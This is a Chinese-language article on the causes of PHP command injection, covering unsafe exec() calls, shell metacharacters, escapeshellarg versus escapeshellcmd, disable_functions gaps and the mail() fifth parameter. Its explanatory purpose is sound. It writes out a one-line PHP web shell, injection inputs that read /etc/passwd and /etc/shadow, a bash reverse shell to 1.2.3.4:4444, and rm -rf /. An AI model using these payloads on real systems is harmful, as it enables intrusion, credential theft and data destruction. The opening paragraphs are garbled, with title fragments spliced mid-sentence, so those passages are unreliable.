PHP命令注入攻击漏洞形成的主要原因是什么

一个线上跑了三年的老系统，某天突然被运维打电话叫醒：服务器在对外发起大量SSH连接，入攻CPU跑满。击漏登上去一看，洞形Web目录里多了个upload.php，主原里面就一行：<?令注php system($_GET['cmd']); ?>。攻击者通过一个原本用来生成缩略图的入攻接口，把cmd参数拼进了exec()，击漏直接拿到了shell。洞形这种事我见过不止一次，主原根子不在PHP本身，令注而在写代码的入攻人怎么处理用户输入。

PHP命令注入的击漏核心成因就一个：把不可信的数据直接塞进了执行系统命令的函数里。PHP提供了system()、洞形exec()、主原shell_exec()、passthru()、popen()、反引号运算符这一整套工具，它们的设计初衷是让PHP能调用外部程序，比如压缩图片、调用ffmpeg转码、执行git命令。问题在于，这些函数把字符串原封不动交给底层的/bin/sh去解释。Shell有一套自己的元字符体系：分号;、管道|、与号&、反引号、$()、换行符——任何一个都能把一条命令拆成多条。

看个真实场景。某CMS的图片处理功能这么写：

$target = $_GET['src']; exec("convert " . $target . " -resize 200x200 thumb.jpg");

正常请求传?src=photo.jpg，执行的是convert photo.jpg -resize 200x200 thumb.jpg。攻击者传?src=photo.jpg;cat /etc/passwd，实际执行的就变成了两条命令。更狠一点，?src=photo.jpg;bash -i >& /dev/tcp/1.2.3.4/4444 0>&1，直接反弹shell。这里的;就是注入点，而PHP代码里没有任何过滤。

有人会说，那我用escapeshellarg()包一层不就行了？对，这是正确的做法，但很多人不知道它和escapeshellcmd()的区别。escapeshellarg()把整个参数用单引号括起来，内部的单引号做转义，这样shell就把它当做一个整体字符串，元字符失去特殊含义。escapeshellcmd()则只是转义元字符，不改变参数结构——如果你把用户输入拼在命令中间而不是作为独立参数，它照样能被绕过。我见过有开发者两个混用，或者只用了escapeshellcmd()，结果还是被打穿。

一个容易被忽略的细节：Windows和Linux的shell元字符集不一样。在Windows下&和|是命令分隔符，%和!能做变量展开。跨平台代码如果只按Linux的规则过滤，在Windows服务器上就是筛子。

另一个高频成因是对“参数”和“命令”的边界认知模糊。比如有人写exec("ping -c 4 " . $ip)，觉得$ip只是个IP地址，能有什么坏心思？但攻击者传127.0.0.1; rm -rf /，照样执行。IP地址的格式校验如果只用正则^\d+\.\d+\.\d+\.\d+$，那确实能挡住大部分，可很多人连这个都懒得写。更隐蔽的是命令替换：$(whoami)或者反引号`whoami`，它们不需要分号就能把执行结果嵌入到原命令里。比如ping -c 4 `cat /etc/shadow`，先执行反引号里的内容，再把结果当参数传给ping。

PHP配置层面也有影响。disable_functions能禁用system、exec这些函数，但popen、proc_open、pcntl_exec往往被遗漏。而且就算禁用了，如果代码里用了include、require配合文件上传，攻击者照样能通过上传一个PHP文件来执行命令，绕过函数禁用。我见过最离谱的案例是，开发者用mail()函数的第五个参数$additional_params来传用户输入，结果这个参数会被直接传给sendmail，而sendmail在某些配置下能执行命令。

说到底，PHP命令注入不是PHP的锅，是开发者对“数据”和“代码”的混淆。用户输入永远是数据，不是代码。一旦你把它拼进命令字符串，就等于把代码执行权交了出去。正确的做法只有两条：要么用escapeshellarg()严格转义并确保参数作为独立单元传递，要么干脆别用shell——PHP有imagecreatefromjpeg这类原生库，很多场景根本不需要调外部命令。可惜，图省事的人永远比图安全的人多。